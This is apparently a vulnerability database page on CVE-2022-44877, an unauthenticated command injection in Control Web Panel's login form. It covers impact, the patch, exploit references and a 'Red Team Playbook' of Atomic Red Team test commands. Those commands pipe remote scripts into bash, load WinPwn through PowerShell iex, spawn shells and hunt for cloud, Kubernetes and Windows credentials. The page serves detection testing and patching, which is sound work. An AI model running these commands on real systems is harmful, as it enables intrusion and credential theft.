CVE-2022-44877
Overview
This vulnerability is a command injection flaw rooted in improper input validation of the 'login' parameter within the /login/index.php component of Control Web Panel (CWP) versions prior to 0.9.8.1147. The application fails to sanitize shell metacharacters, allowing crafted input to be interpreted as operating system commands. This insecure handling occurs in the authentication interface, enabling execution of arbitrary OS commands via HTTP requests.
Vulnerability Description
login/index.php in CWP (aka Control Web Panel or CentOS Web Panel) 7 before 0.9.8.1147 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the login parameter.
Impact
An unauthenticated attacker can execute arbitrary system commands on the affected server by exploiting this vulnerability, enabling full control over the system. This includes executing malware, accessing sensitive information, modifying data, and potentially disrupting services. No user interaction or credentials are required, making it a severe risk for unauthorized remote compromise of the affected Control Web Panel installations.
Solution
Upgrade Control Web Panel to version 0.9.8.1147 or later, where this command injection flaw has been addressed. Refer to the official vendor advisories and patch notes linked in the provided references for detailed update instructions. Applying this update will sanitize the 'login' parameter input and prevent shell metacharacter injection. No specific workarounds are documented; timely patching is recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Control-Webpanel | Webpanel | All |
cpe:2.3:a:control-webpanel:webpanel:*:*:*:*:*:*:*:*
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Disclaimer
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Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
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CWP login.php Unauthenticated RCE
exploits/linux/http/control_web_panel_login_cmd_exec
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Spencer McIntyre, Numan Türle | Unknown | - | View |
ExploitDB (2)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Centos Web Panel 7 v0.9.8.1147 - Unauthenticated Remote Code Execution (RCE) | numan türle | webapps | linux | - | View |
| Control Web Panel 7 (CWP7) v0.9.8.1147 - Remote Code Execution (RCE) | Mayank Deshmukh | webapps | php | - | View |
GitHub PoCs (9)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
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numanturle/CVE-2022-44877
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numanturle | 103 | 22 | 2023-01-05 | View |
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komomon/CVE-2022-44877-RCE
CVE-2022-44877 Centos Web Panel 7 Unauthenticated Remote Code Execution
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komomon | 10 | 1 | 2023-01-06 | View |
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hotpotcookie/CVE-2022-44877-white-box
Red Team utilities for setting up CWP CentOS 7 payload & reverse shell (Red Team 9 - CW2023)
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hotpotcookie | 6 | 0 | 2023-02-15 | View |
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Chocapikk/CVE-2022-44877
Bash Script for Checking Command Injection Vulnerability on CentOS Web Panel [CWP] (CVE-2022-44877)
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Chocapikk | 4 | 1 | 2023-02-11 | View |
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ColdFusionX/CVE-2022-44877-CWP7
Control Web Panel 7 (CWP7) Remote Code Execution (RCE) (CVE-2022-44877) (Unauthenticated)
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ColdFusionX | 1 | 0 | 2023-02-02 | View |
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PoC
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- | 0 | 0 | - | View |
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dkstar11q/CVE-2022-44877
Bash Script for Checking Command Injection Vulnerability on CentOS Web Panel [CWP] (CVE-2022-44877)
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dkstar11q | 0 | 0 | 2023-03-27 | View |
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rhymsc/CVE-2022-44877-RCE
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rhymsc | 0 | 0 | 2023-11-18 | View |
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G01d3nW01f/CVE-2022-44877
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G01d3nW01f | 0 | 0 | 2024-02-27 | View |
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 89 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
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Medium | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (8)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2022-44877 |
| youtube.com |
GitHub CVE
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https://www.youtube.com/watch?v=kiLfSvc1SYY |
| gist.github.com |
GitHub CVE
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https://gist.github.com/numanturle/c1e82c47f4cba24cff214e904c227386 |
| seclists.org |
GitHub CVE
mailing-list
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http://seclists.org/fulldisclosure/2023/Jan/1 |
| packetstormsecurity.com |
GitHub CVE
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http://packetstormsecurity.com/files/170388/Control-Web-Panel-7-Remote-Code-Execution.html |
| packetstormsecurity.com |
GitHub CVE
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http://packetstormsecurity.com/files/170820/Control-Web-Panel-Unauthenticated-Remote-Command-Execution.html |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/171725/Control-Web-Panel-7-CWP7-0.9.8.1147-Remote-Code-Execution.html |
| cisa.gov |
NVD API
US Government Resource
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https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-44877 |